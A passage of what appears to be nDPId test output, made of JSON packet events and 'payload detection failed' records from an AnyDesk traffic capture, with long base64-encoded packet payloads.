P5FeLXgzJLbNsiU\/mM+TA+Nip9PqYJNkQVP5lmQaNp1h5HsLZlsbP0uwi6Jjif4AFlAOr91suHmOPQx4gQRHMN4lymf35UJFVCNsagVWxynN8SVeSvABwozkFPTVnQLwjx2ZIYnRC2wP5v5hrKmaSFEvt4dCMG4A0oArnww1J4VqGtQtupBjpKdnwI2PcUB6x6Ce6ZigrVW7+2ZmbmMBBgS4SOrLei955o3Mi\/94tmgn+2BtGl9itKY7oehjGPxafjhdL6a8wwMX5kAjD8vFB+w+osD7quovCMgv0C3N6iyIp5+GP6m3T24ECgrjEGNSjhy4TOEefg110zYI8siQM8V9fmgWIikj5OO1Q7P2K9IeQoh5Tyr5ZA3W1eNFa9Du1q7WSaNxRncN8cXaqdYUMeGEoVFQHHV13FNviuOO1BZjPrNHnsmbgfwHxEl3J8+imCt60NjBVOGBrQyRTDvjiEYAexnTGqGHraiLcNqGiNJuyfCglQxnwq36hX7hLoXJAw0CK8RZFbVyaXTfn\/2CYVEHU0XuvZRueb9OQ8ZrrvlDfd\/+JP\/kzwXnZ9Ll\/SgX+v0xae1g34zQBTyQLg68qUG9EIZknNyFbSwNLRwhmBa7Xx9zbLwbxs2uWNU1VA\/\/wr+DFqA+\/EsgxMhD+WZZyAa9sxoMreq2Y46ELluqgwp5uzctJutY4316HD7xBM+9uhxqioZZB9iYbXABMey6jNnbqFzvfSK\/lMkf0CjnJXI4znRoh65SpJM1OUWVMDVzYTZ9OBd1bvVbprbJ928ukbjRGEGNdlKEaiiSfPflauCBza0SEuwG6kSFmfnLH+R\/NiYyau9BA1ZQhPdJ8p7cEi3e5yhlOjFcdl6KAkXKmYyZhOcpT\/CxsuJPQU+cQSfZ\/l75HCYFNsNXPeyL35dULiWE2\/SX2cD84d4WQokdgq\/bOIhRSerDgwviUkdj9BySRRDWOd3Pbu6TH\/X9GD30MFr1JJTFeIQiFnBizWjBZvnjb3dYQhPJr0TEMQoH8XdxWw+VfdiLwA\/o6ICwX+rNuy1tS1mIkyKHgfR+PbyMzjaGRVmaHTOlZmOOufZ9f87oomM3B548PWxsprM5d60AbPAoZGBEeG6AV1Gtf24KhCid5Ob0UhuTcv2dxcr4WrRPIP6Tf7MYMNuhqAWJy3GUj5YZIWPrsNj+rXtlJb0tC9PbCE+MQGiJYoay6m+k\/\/i9RFW2OYhZKxohreXb6AqX+xAezBgaL5L5xugzdG20OR6NjE9RPDmmNCQk69P3E4i2ln4mGv8rTiZTUYx31IOLeU9BPzfkLPzVRKRgwznN2js0qP+wFWswavdsV2W+FFgxR4pN5\/Ueo8SBeDSGzmu51YMEeG2aTiW6+yA0fMoMUVhZ338U7SybaM0+1vyybW4EB3fonyMn0EFlf6aH4JMiydqeA9r9nqHpYncObtKo\/Ym5reTwdV5+RIWODcJ5rA7ySTVueRcxDt5aZcWTH8F+wlpxO4\/6AVKqoka1c0v\/xd8Rfq0BB7Enxd+zZixa1ogEKc\/g\/CqjJ\/x0+lbMhFHsN1moCNmNvdy1PzyWA27TdHRc2gJ7+fsYfuiQ9iXzZlsQ98X983PHRoUU\/OPM1pPXrKHjtnen\/d5ZKJcKIItWysMmWNAcM2s43R0qWqQus2Fn1g4r8WGrExkVt18g5KEr6iQzWhYI\/UTlz6lFsCPhPyWky56RzV0n8DEfZkscC7ybTzhWLJMeX09CV5UjsZvloLvJWMjAzOiwtcNdKjwk1lL2282XFl7EgVW0Ea2fnpwpaTLOhnNcvb9SwgjlaDcbaaoHhtEgaKjeHTnKaLKgzGpZGPhCONq1yL1uFyPmVPlW\/3\/qilqJZl0tlgsbDTmDrnbBe7OW7ueQMUukPY1PEwa9\/ZGt87AYNQeQGEanjt1T3oQKIaus2fFU9A85Jy\/mao9u+LK908qhruEYjqohdiJG8Fb6Govd8\/e68RxuqOSLECyLiNoIv40in4n1\/c5a6C2ZdB2qtiRp0nMDfCgLsMadz0Zhu6\/JbWXM33c3buB+Y2XmA47k9aMIXyOkTMPf+Kmuc9YeHDPN1niha+eu1X8m0415F3eFPaPiw5geVpVVWH5kmMimomzRARoWAPvpLYtIhDsTDR1aaNAKID6OrVG5hiUirclwm8I6cCD9PjAG8VknpcYkbNKFBOAXRpzIkPRNC5rKmblIsx2o1JXeB013+CHiQG1QiGgqq3Ptbibu3c1wVotqOPJF4pGy7prHXmsV\/YpqBfa1Z\/D+C5dY4HwN9LyIr3aUTPfJeOxnOKyn4Trh0bGiFFzzxxskU7hiHUECnr6XyqdktUmrslKG8FkP4tB9I1lbqlDj1eyioIMRht8eLn7X7VF0bqmQypeimj+mV4VeWLW6DfyaiFGVJTHL4hF1G8U49xpHr5xgV97ynnGBxKyZTdKF5ipM8oySO3pzSvyEa1fKN0ZAGjubVFPKzpuxKwjdsPrEIQGR0qWys+OYzCVdtyHbgUFSp\/PPpNwCrswLRQhtXd0ScQWS6X8k1sTfxSykL+esg4GzEtIPnJl\/EZwVrt9HsDw8Vg\/PvKvNPN1y8HztDOJpNTo7FuVC2U9SXR+qXtmrbCLI09q3LxOuOku41IrWnq\/c8Vz31jruX2UQfAUYLD0tyOz1DnY8J0TKi0bS4OkzxfjPD2uQPMhGQeVO1px+etuigRidGNC7V+LUkay91CHqoTgcBt1vDWRTIiq9FyjEdW\/Gf5wrCcRa3PNtqYUQleEyu7J5Qs7h6SubbbfgXyGGHuerk0Nzw6NDOHiUh8iQXftuP1GfynVJ6XyWRVgK7FV6JbZGGSOIuc\/ByNXJ7B+KOFKvkP+MMxxh6aigEeGzeGhMfB93y+MWwR5AO5QkQhrusQk54M44pyGGvd84tPugFuxNkCzmLprIi0L85L2Kw0Nhg29Pp3481hC8SzE2uvCvUYe5BUnm26xjFYg1LvfcalwCp81+XwN6i7gzC4Cfnb9EXLzFC93vQ6wRyLLIFjwQMzcllBti6MbnNAnCcmB6JBneCDa6e665czhRc9JJV5USGuezeU"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1604,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2489} +03785{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1605,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":665506,"pkt_caplen":2575,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2575,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgH5AAIAGAADAqAG7wKgBstOUG56PKdQqWcQ5plAYIA+ExAAAFwMDCdRZ4hNO+msWUb\/LsCPq7CTPfLnsQyw\/instLsSaISNmUMQFamTxaY+KrMtqdYIIOB8KQdGeXLybAgNOFsp2wFN3K19F6qPd0ujnW94gIlqvs57dhAgE1m27G7NmZPNLKDa\/Kka1FKWd9Tr1DLNXs2Eeh4wkfGTzwBCJ7mnuxZYdkZLSEtM7JoekTNJAKVduGdvRpA0JxNffa6U0reaN4lJgBLENkOiem\/1B3IPmG72Oqiod1KLHot7iXSiO2BkCz9TEdrromjb1lYHssiEkcZRoU960Qw4Vla\/\/+sowpSeuXfdE61r9IWqNcU+R1zFtPscMLqygZ5lyBXxZZhkxpoI5lZTYfb9TS8XGmbCDowAFnBnWp2m2blfg1vLD7cRjeglt6xAYpBzUWFkXhWhzqe3ERxw7Hav0rNpAS00kQl9E7oxKsDQlWeK5djmOmmDqMFd70Xm0AxOykvnkOHEcB+TcH273rw3XzwlQWVjTfBRAwaheFA0m6jtQ9RXTJbVGtxzaNx2PvvoPq9D0HcFxg7ff9Q0K1UHJzBEBmrcWMREUHkQvsVjNqpkV0xROe8RJz\/cIsb+0yMHqSE9psJSK622P33xFYWdIhLC+xpQzEK6LRcOxan9FiycJaBGNdGyfTvndcs6zntOsVnr7ijnrVhz1oD6Cjufw3gtKKQ72z8+G0QY\/taGyC7T0E79NwDB50sZ8lYMJ+3ZjgXzqNWzu+uZPKKGwL8s1Uoz+b1nrMcfrmw929auEWLOxU3OqD4Nf5iyvrooD9lnQdXmjVWC27aqLXFRD0x\/sXz2TO46ZubH3p4XddME5p5opZ6fukUQJq0Gb56sKQhiAhgiB8OYrKu0J2o7uN489JvhIHHNYxeIEPG+uUFaL7OmItUIGQytIwnol5YFbwsbfb8oD5onx8sSpmtuIsn6ukYm7OsGlFlMW0LGLctHrUa1IU705Jop1pR6VOKH\/H+zpqMlLZadcT0zKzOvOn0WcOB0iEaTdkiC75c7Hno0c\/ISsBD6vj75TM0ThgSQ1\/2B5SwF6oO8vfmPFNimtHjidefHzZNwM1JBrrVxQN28Fft2nV5dQH9teoOD1ZfC9HIM+c7o+6c9ly+sjQbNA1ewLyVmA5nwuN2QL6KevEZmRTg527i8Qu53qJkB5qOrKL4tg3zsdtzIsxW5DwFgsUOYGIw83nOu6g1x0GPw0h8YeFNdClGcuVy1HMjzUUokQ9egcaMcXFORzrqXU21kP3uDPw5gbU73vt8NbHJAehp5ztU\/3ykoArhew63WNP0gTUK2rIE9fWxYGMR7Du6V9tKxwbjlvZGxlJNBNGTO9eF\/AaxwlqdyF695UqRdwPVxcSAFweYf5DU+FvXGjlbiePMopDNItAjsb2FOTDMPfsi4LoFwEYdOBHuf59R7savUjoNU3SKyHYncv9DtDFqitc9aF2Bs0yFdnm0q2TuevGZY9pimcxP+RojFOs9YqtGz9TCVxsOumZaXZ5Vr27D8lg0TrWgNgt3GSUBCeBBlUrzNIDeU29jTaGEPlKGNuZ0MGCfXFON8jlMy62QAkJTDYzBWOMBsk9IZBX\/IKJ8QdOzQD7U6eErl6vfwxqqKJF8SUbLg996948M6HWguIVNSVTxqp9C22zfa+B2vH4sUxnEBaq21VBZL9pu2OFZsQMk7l7uTIaDIghEUaJz4IpN2RJQriclX+xPiGY2jpyhk8pw8kuLT14kcANju0q47BD9\/oJNXqWxNdSzFoURk7jMNEcVnwEiopUWRoS1VtB9wyRWs3CoIvXifzRJQcpdhCD\/hQ20SzOUlpifeNIX2Yl7blxPGRRSO4ZV1N5eqCWqiTB\/0bRVFrhppI1r9nmHiRwdeHJXrwMIj1zncyoAnfcKznu2n1yuHQJueHf7Iv9uxykzqZ1mpym9oz1aZGNRl9t+jrg+CQoLWbEmX7Idf8SOKNxILZ0cFHDdLm9sOM0nilLVHOKYRVPiI\/3QBazD6lt7wD1h5hU7sI6jEkAIOoStLrBIjHFPn8X+ZrLKF+z1oB5uXMFf7D5adTwR\/ex1ewUnm5Ko5+kJV1B8tDz7zgDVBC4zNt201KFKk1Td+FzcXKZ6p\/z\/pa3rIfT0j2UoJfIG+\/4j\/J0dEFkkYoJKYGu\/ZuV\/sLeKa9FAveLiYaLWEW4EwkxSNe0ivnNMkT6epE2wUVbhCJ6UlBeInITP+OmeQM79eGRFANym0j6wBJi8IIdbXNGKv54auX6Zzqx0jfugmwLU9m1c8nyUnIqAv4ob9c2jJX5eU\/I4K7ItjWA\/jd0Gw3EGU2\/owsZ0shhyASEZEYhqfMdql9efcR2dJkFvucB2mDl0dLCgJhTlkOp6U28LwzBhaLtPJaR\/Si7JDGinHwVxB3nSKgmgFWWM6HswuQ7XclYw527WqlTrdGQIkSV4PqcaRI1VuMZzkyIvX6+CMYJ0NG+rh\/+OF0PSVPSE97P02JHvehRa4lKck1DZotCjcKoIWzGlpbf0F+l4dVcaeouBWvu9rMPt0lhq8VPFxoCwoY3csa\/W72QOnqDSZXSylvs5LldRef4wv01u+VerCCMUeWQ8PaL5PbBovOCpoJI7CEa8CoYSU3DGSmTbuuKHVL1qIsYkbsY3dLrkxH7IuE2QU8yMCmBNfq0IoFJzcctG5C\/8s9Se5NeVMFbrdp\/mpPLi9dyRIQbKKBIWIc\/nfIQ25WvZzfABEyWYLx\/ajCjOgjrmp8VBXwKzKnuxnLcuccTByUy3pSak+SCFTFIByC8IP0WdScGKxnXL6NU1jX9bk2dFqONxHAjTOQpVqwtmrG\/MQe\/gVdNv5oXpJTUP2VY87G994vsQriwTmyypCTD8RoTct\/jwJj2qU4l9kMZzfoBs2kRuvBpdke3FjrkExJDQ+ehoLpKOoZm9JW864rQKk10tlueCI8kl7NP6yGNaGv1pJrc\/lixdfbeMludtWmha2CGmb62hMbDwPmGDbcI7IUq1gRKteErLHOG6qS+eTo4OZhcnpKbGG2YlZxn33xfo1y7KF2WopvolIG2fyQe5l942pr\/u28nqENn5OcWpHTQuGl9edaIyNVlEivq02aDh2\/c55Fb3JTluchcPczb5hkcs2GPvaSssiXh\/G\/vtcSrnkAHTlk5rlcXrmA0ppamWVddLWjVxeFqKFELzM0HSDavsrK8EpnfjKUQJsqoWblFmShxBhnuxEbyWpYAwi2usewvVNmpJF3xQeT8EnZaeXWBDh5t02wPaLFKghcIFyHHAIkIXFiWj4moCDM6zpYV32rfy9hB64kv1oDycInQhlyXLGxo+pUlJ6Xals6fj8ETPO5A24fDQDQuZ6BA9wWgPavt4PFy+jiXlqAYxi02g=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1605,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2541} +06443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1619,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":697247,"pkt_caplen":4532,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4532,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgI1AAIAGAADAqAG7wKgBstOUG56PKevTWcQ51VAYIA+ExAAAFwMDEXlZ4hNO+msWVddDPjQnS1hLJwcPrxbORSgm6npajOIHoNY\/9yhfrqsEetbZIX6tf3pIXrpYS8xMnGWdUSHScTXCwSyl7D9M\/Uq1CULelowrbtjM7x2AoH+yzqzVlsmGpQsjhkuAZk4FW3CeHrkqz5nh12UXNJeltEKRHdWjXc4AXTadxTgLDoD+ILnpkWm71X5fMg404fANCuZnsWIfptGHfGExUvXVCQ8VRxS8mV8zr57IyGObwRnwdzkY3iTmhWqjNOJjLy1S\/qkOlU4KbEn4C4AH1fC6IiRnt9YVj1X8m5Zg5rZVJuzsE8RrX05EDLz6GQsc3y1YhVtwuIEGTA5uPrhwHLoE9VTtzI2Z69PRqzWWsXY84X1U63jtoQ6Ztb2UMIk0fAI8muAPhMksKVqe\/\/+ZHaKYlNrnnVEt4Kzq+IP\/58v6H4d0GbgXosRT0uQegL8hc0TZmNILoW0WRZJHykIpJo+IHk2W3k6d54RAAaiKernjrGCMiI118Ai4ddqXt\/7RM7p76umhxybmaGwlRJ\/viqRpaMbNjM4FxxOBACjKMZlEs9gZTxd8kFDEZYf2oHbLwibHK\/f7Ef7BWYWx1qMdKUDqybRG1z4kJHs2sEMpeoxZQ9oKmC8IW6NZc0w\/rHMozz+HE8nNiKD1GG1GlKAZBTXzbH4yU84WUlvSoNnWNoqDrObNnl7DRAtXQvmWnNbL14gM\/IWufz8FVAcgClAQtiv5Fw9I8JhPs0MQeSfgsLdrE\/HpdKf6lGoGJ4aGD7W61k3EPShXyGYNGpVMMLePVp0p9G31YPYd55CjCTE7aJJLLoG95sXPu+ocPK+xD5hSVtgVkypQ+XtH7h1HkGdSB9wC8PEUZExN\/\/5VSvPek7Pona\/Obbt4FfHHdLy\/JaOYM7Rr8TEkiqNhHs5tPJgHRRAuDky963PO0aVzCazGt1A2p\/HgdLNxbB17pFR5BmEj5bcWLYKkikFVTd1qw5D1YdduaHTa2CtDlpmmn6AArq3GWst+rS4vBNw3CD8n6K+iAHHGMDbky0Zvl39eU7pKXEfQFAYPaUmIDKiBV12pEQI1uFnMazco4IYfYblSIN6Qba3E6BRRadcymliall4je9PftmA1pR8OvDu9VvSv1zqr2ZOnenAan4\/Iwe6bXgoarPNY2scfmCKA8PgcnbBuokX9WxQK91oh6MsaKJOg0zM8HSOlNgBddFoBLpsWxB82SmVu+DZD6\/nHhpl+H6JsP+VY6V83+UWLA+eg2Gw3RxqIxAKgBfBKPGd+qrgFjOJLkG51eQp+0RQfbkAE3F7EE5bbYYilE8l3ErCzVDyR4Pu4JMt10lm69DXQrO\/tlguTvQ+zg48zsoNxHp3kFmhRBtlqA6WRGB7urjqeDpoDdsQmmAyVGa9dMprYQ2gZ6oWhJjRdFJ5ng0XhWTADN9GJBlyBJENTLLiN+MZOHAzXphKQ4m3SRwi\/V9vUvLnYRt3+\/3CwnyZAlFvDw26sTg2IxEVzfMaCMSZb41Q+AN5W\/7nqDQrc1jfLgI8mR8E++HOCvAGSziUUgsxacyu5x3ImoWbnn9HLkHuVdE9hP0y0NkiF8v1vCllNQAmoFycig0bPpFChJB7oUFHuZ\/KeW2FmfQb0Khiia9qAnQMQdismpdpMYBADReLpu1AbHchd66BAn9a2fBVovzTmg9mC2MdOI07Uuyl5P\/h+hurU\/h11dPU\/nSauDpcBHAJvNBd+ScW6BljuFc5Ug08KN6S++aJes31bOk1EOP+xn3P5h4oxm264pER7Et29gfMmxHbjjb6wR\/5xbVzN\/Kb9y60hnYOO5ymIyz3Tt8W42vr26IPvsfdDbG27ifWQhzH7n5IeIN6xjYh9GwmxWexJvvKVkdKf3K7SNSTl1ngIv511NBRj50\/6MzLvgtlhFGSUbdU3BBI46C4TmRr1s6CXOrp6CLKOcQl\/Re\/QWbiXz4HZSCOWBUtUSRHoLIFqZaIIfveJXHesh3WXz6AF4A1YTIarxL8kAtUQn3t8ouRCaaeQv+xp5bCiLUQSDXar4zqQCjO+xvUFX5gpzvs98uImhIjptcr6tf2FDyEhQmrf\/ueb\/v5Sm8yvPCbVdUjkdP972tY4f8rHN5i\/gRTcvMV4HxPFcDkLVGY6z5oMJHjto+SyhAD\/8OnthwL6rUdgVBr0hs5lRKDNa1q23JZRhTTCSElztgGGIObsV6r5O4dgqhn06fYnmpbqSw1FlvGE3K4+w8YOlvIyc4PYHcVjO8tCrqsRRKT1MOqSR0smrIEjG3Vei+\/EzkTuY+zuxFn5Uy5zugLmmmukbEGlykQagHHgnuRL4XH\/m1RuHmkREazpDGt6UMDJMsS71kQsZ+C+U0mD6mkJ4PZaQxn2FPc+JDqzJQZBQqZeGwGaqGpdwqMgzRzIsYzH4Jxvi0i0\/EqB4Qnjit8wC7ZXxXcsa5kHrCJbJ54l+1X+pD+RcM6g6LSkiQAP4nTStEW63ALB6DodoLfWz3nZx19jtnJD+A7JDTXoBJ\/ByU1jYhpD+UUmnt3wD6AzRX\/oLTSB8fYSKZneP7Yb98eAdWv6la+njmSKaEPemeQc3Dc+QYVuyqtx4IIPAWK0fhGW3kO+P3kAdKozs8biFYA3okemyTwCcUMy6uIhYEQimsxQ9AxqZe6cfTa6oryjFEq6BVeGJyBzT4YAuOyrXlNXMnvoHCLWao1pLtp\/YwTY8PfVktly6KVxwYYgOD5e2ZB0mDiFcZdiXAENTOdfCEjH3uhZ8WYcxvoPzNyz5QTV7+k7iuC\/8LnoF5ANEqudIFJYu4mRSdOyr7EKizv8D3TtYacjpXDGNEgpQ4LRewBDdy0scnsyEx4abHH+XE8sSIkjMwctC79lBIxTfE4DstEknRQ77Ju1zyIw9MiHHDrXporicdl8bV2wzV5EH0\/cnajJoJQXh0ZvFsyUIwH4aVrBquxsZ3AGdBMJWuIhAxfxjF9TXbtg6z\/1U32UPFEPwvvZTGwdFOgoJrRgwIAUNhOt0VoYwocZV6CP1W\/dFYq6gsJ1UMcHuiuDxRlsY8ApWM\/sssJBmBSYp4gRfvM8boAnp7S6WaMmv5ItfBxKEVEhaS3Sg5NvOgC0MytdmD7HMZHXWEhjtWiOat935AgeR4vr60R6lcgaGxXDC6tg2T+38AIUcJDV1CT3i8EBJZKFHkW0QOayJmkSqnDJc69DFzcEAwa1TJ2x2ykBBU60rodYI7edme6jBubJnpnyVW\/BVcdb1gd0\/rHAGVC5io3S4sYXoj5MGOwCXuatZRoMCDuW4qQbD4XZ8JH49uQSep4cj2MRSDMA804wiUYAtw86xcwznhOvQj2SU9hC4viGUAyWSIzEY5tqO3HkfpkxOMnVRjRTbjk9JrPrFtK5Hls0dKvQgiyNWnlXsaNXKtcn29wTlqboFDF5AXHLdUwBNw41ZPBkog5XHaJ9m8fXvfmtKc7615Tj\/ST3sQ5mOzjyzb\/6iMcR8oXa19NQqbQrUkKnAKIhWBNX9q78xsV+t5hz42n\/dmWPX4UbxFP5ZIiT\/OWq5XdS3blJbqFsYN26dwRpeoqdqk5EZm3OSTT9l4GIJTo1N65ZUgqqsJhZ0svWgadK2HDIrWWaSAuoPkKs9rO1zpuSm4w1AH0VKBCam6lMj2ms5GxapZiHyl9Le4A9JbWN5NxqUrsN0majry49DhrnRYN5ReU\/6igD0b2YCAqWKuSlQpRRaMt3Cn\/hXMIZ2fuFQmcZWyzS4bJeUNstuV992zPj6zVS+YVGvmpX64S59IHuJMHvHYkn9hKiO1L1PLutEjFmaCPKRDR2xdoNBk2gzZT9O9M6S0Kiy0DP283ox9bQleGveXe8juwsgj5M5qf0duqYEXh92S+YqoePuVlInB\/zCop8YPdFpl9ThTenPFLtajQUkPoh0J3sqJexylu+oDCx+NJg5\/OonEabI+luul\/DOnwERj\/Oo88i1LMysPgubZdDrLjLhQ1WGzgDaq1sjABXx91ONELDoolyyLKkJATTnv6Z+xZL6aQToiHGn\/zkirZdWbja3bfcKiYiAei6Nh0Pxqj9b4ZO3xwAeN76+7RKUcEEAA8w40poFI6vq9SXWczRqI7YGpks7nrjZBR+KcDjAJkQ0n3b8qyc68wWGuiYnZ45+woq4h9sJtS\/YC7\/mNPEgn5qgWk286uzm2oaD0W5KivYcGzHr6vq\/tmWi0BaMyICE4rlpk2Yf0wPIsGKkaC1i1JgYNPX3AuMaBLULo1BnQpfRGB4X54N\/iKIBTE2u6bg1T+kfXggqingbieB+S3iaYuah\/1sGL3h6EEcStuUuBsMy\/7kJTeugQ0rArlQ+w9hd3AcROIdyP683IPHsfwnYM2Wah13hoYZXxMM5XXCvoNwCoYLsoR\/D\/7WmvQw\/rbkXC3wx7SzFccomTZa04NVXG9oohUAo\/6nDqRj4Scqwbxqw0g31qqqOFGYUig93vlw84qLrB1LvHtpQpXu0urOCqFKmsureznG1Y\/VBo8OU1VecMnWCdG+E2+bCyuKrAFRxUXcS3yapNCsiRohqtQMT2Y9TPIhnaBmAdemZ9dYRy2WzPYdJBBC9NZURH7IdDhvfNiRJItsQBF71AX\/e0iBulI025XV7UV2oig2ffA1u9MCrFFnZqQDTXYvnhWhPNsd7NRNK2sBuEVVcApHmp\/XW9Im+\/BgdHAy83CexQmdfj1cC1TmUODWXOtnyOpa1cZblUGoAZmeRiXtM9UCTcvSghLFjicjRLmAdtUlYbvOXRQJZ0RbPeR8e0pLhjFWXPA\/zlb\/AyJxPlJuPrpqw0TQX74Ybr4+u3xi4Np+PXPRMRGIuLB1KAk+tHe3YAwi4bYwJydQeUb242+29HEUvgFLqiujcmO3CfkGhTKL7ptfI+tsLO+VWNQzpc4RxYUq9HpUcN5PB+9RprRqDTyaOG\/8lQd8Xpq3fjDfJ5ogiUUxjjrsw8BfTmc8uz0NhE8ql7SIKE7WtQkB5fuC7sdhYEw1KP+gSvP1MT7z1kZzZmzCzKVEfddJl+A40v\/bFrvwn36EabJFE9OMhiYYTa9LuAFhYrcWOuV2FQtd+7NZ9cYmB8H+WKSyiRjSa2ZnRIjqpyHJyzmTIjDaiaiHWydODK8Rcg89ISrCyxb4V\/LsH1KhAVX1VvIu+C8W8SQU0zuDLBqi2zWx\/xFdQXuLz5h49j3WvuyvO1bsKNRfM8b+Og93VeApccRq7V51ykUPTvryXeYiX1rLBhvpj88p7s0c6GxhEN86YY9BcrCA4fFxZYJGvrfCy82FzSU1\/HLZnnrltgsqqKknu3kRUawe607QnMkp0o\/\/2stuXYs1WzGW985jBKw8\/LQfMks3ddBXLvZLcByhMdwjS8AtIbWkNJHn4RoJ6SuBdHGJk3GMMx02FRbaUVlztbmRl+M\/1JpR3A73ajya16yvVytFkHAQadr5etAjimW9J61DrLvAqJiDQBNRCGHzM53RrEtE8YaIdnNSonAxyy4bqMWg2GJp52APhjvoth6rTNSH+lTvWox9IB7u3qZcx6nCjCw4jIFcO4P255x+W1a1RFSQZy8sCh5Zk4owkQ02e1JG6b4ipksWpW1aDqP49cTe5xa1\/kqY5GM7uO2\/KQmo\/4jRA\/RtAsFe\/JIfsDmfnCa+TTQz0ruSyuv4FRbl5NRnTgjVgDEqu8hfDo0beKw5Ufk+eR8ORiYDe61bOjsAod5NmPF6AkkA0DxfUGHseHJrHlMleSl7hE2Z\/N+mO2zZ4T44+iJC6LDa\/WrGW6zHCsYE2y+6H2STzgaxB4c284xufttcMasuoS61NtzL0XyJ0rzW6B81j46ccn9OeA\/Hd2EgdKKlHLlykUgcAYta3VbBNYF6lrQm924LNHWdfbQXQNcofxLjdTkhcY0l9x3E04rvdMedXM\/+Sl5qx976CDPOScN71pigZV6cWK2djF7I0dh4NcKY2IsBk1sJK2wEopQ="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1619,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4498} +03953{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1625,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":730321,"pkt_caplen":2701,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2701,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgKxAAIAGAADAqAG7wKgBstOUG56PKgMCWcQ6YlAYIBSExAAAFwMDClJZ4hNO+msWVykHPdLJp4Uu7SVYBwjhjah5+kJfq7LwSEVc\/zjT2RuD7RIwEOyZhr2HZ7Ic9Qw4InPwN5zfmplPNJiYoYYx9VAbiI\/jixaEPJ+BSMgmUb7ChvYRe5R0cdnuMKVgVPb\/IH1IT0ASEAB+fD1voDob8\/IWdN4HMHnT6EDNT2oor8BYuwVoTlB02UozpRh7hyeqoIqRSbE3QrYjca6z7TIZ\/+dJkVm6TzsPx+udMr8PSs8nF9jHQ484CJlLIwZL4LUPMDislFbVY5gMx5mA\/J+cpumL2RRBkXfRZ3VD+Rf8CryEmoUMctVQK9u90r218BkOY0vkN0SjFJ3j8DidpLZZc0dEymUlYRKbTvTHJ6jjtjmVWdul\/wO2e0mnL2UwQhYtMA4A63sAxJhCkVZyQisUi18CFB4LFdP+lAH3MT17JM6uzCZlIjtzO93n1APRCHydvWcllDTfhgP6f2Z6fphoU43f6nBzuzY3c0gs6g9JV6YhnWmzpdnmNyZeqn1P92GxQAmRFpTVvlpsnMFB8qyAs0ZfvJPkG28wuLkRhog34srHvBgxIFSR31jaRTUJhL61b8OHxzb0fMDb\/TChnj+mu0WgLf5SN\/5faleeOTWQ0E4kvNrY5o3\/usUJ3eRWGl2dXrM9Z5yjgZ2A7Tdb5MVjV8T4ExdUPQ+cM+SC9IKEwk3rXZho3i36w9FRNXQWqdOCIBksjdGN7FE26OKUZ+RcKuIvuM3ejpirV4sGQyFfdhXGH\/i3kYFL5Glc4vvm2YYw8PZ7e9U4kjABFxtraA9CblVuW7rpoYmSxdLfNI4DHGLzjZm2MW9iQ+PGKwHljzhGGc4fG2\/eJLXvXNdJ8R+FlFS40mVbZdi0HB3o9qlLzivSwSO+8v690zMrIr5A6rEFkIUm8dxBQM\/6urs5DLuka+3xxdOeCqApgrvSKHGb55P7pdcxszG3vYPVbN1phNL\/hclvtTuZDbhDQMMzkc0qTf\/wRFMM1dNfRfFUX62p8R22FsTGVOA9rOQGF7RS+IEAKRoXBr+0SpxzZdju5fMu3crUKbH86mi5+AVmvEHBOYbqB54ktqK2u2ad33eDAxAucDJ1fS6EfnB3DjC9nNSrX1685GVxEmv5PsXB2MFtbAfEHXMbJboSnz2VgTmWq\/XVPj\/4MYkpZllfy40dfPq9YDWrAm+nlQn9lMnhsTLzNeNzEqDJOCIMhRC1ZcYNgjzE+MM1KrgVYSpY7eHVLKKHb97evNThD0I0S5EoqyFc9uYHMEzHOPzSKBmjLD0gXVL+SOg8dtdVSHcgoYNblczm9ZsvgFnznVrv3f1gS0QU86PUOoiN27Qdx4NrhWLpuLnUzHfKR9qhY1aKRbkN52AI5xkczcQMRqsEzTUzd2L3G6d71gH1WEwsf6H0n3x+BsHF8quPB3Aswtg7e7P0hNnbhdNoiU6lvHeycXQYLsQehi6ztk2LD8r110VTqKwdOqLKX2e62yXfQgkmrxfzasEigoT1FV5YlQQHqi+sJxs9hoIo0e5qaLI4ZeVwA51mmmob6baHj2FZDDfH77QP+MnfCao5lXA\/gOmnFCrLzCuls3CmZhM3kis8IOlqp8le8ibupe+FWSShCZSjeMUqyLSVmyKbDeJuxoL9drc9KYtlJmshr5i54ZNGYhoYJho3nJfk9ifeHAPWGbjYMtjqKGX2ap8T+91HHrNrpwGMTBjUac0NYuPC14tX2BLSeLPD+l3zTPHsO3mWxSytemlGrsVXK0CtL2+UH1NttnLePliUxAB7+SjPuqvjbqkrXvba8pLiH7\/SVRbX2gtnsxg5pkGT+yQab7g8u4HEnSG8XrBb1KmRVNEctoRoYMcMyViSjjQgDGb9+qrGsCoaAZEdekzoEoNu9W5PfZVwhFscDkDho7uvMEJgnnwudh8h1qOoGf494\/Gsi7cyPn8vC2UE2N\/I1O0fF\/7znt+RQJIVuX+7BlQnNzjSmjIEBNlvYCS\/Iw+FZCuatBsoNpRfxPciPPfI+qf2pU7IGrmfli2o3\/+ShrzIJZScGBchmrRd4rmfYa3ZZUEYhyc1tcvZGXFe4BxkNORP5os4ao+4KTPh40Y1WWhUDb6k5uJr02hZPsMrvp2jmPmMZE1x+W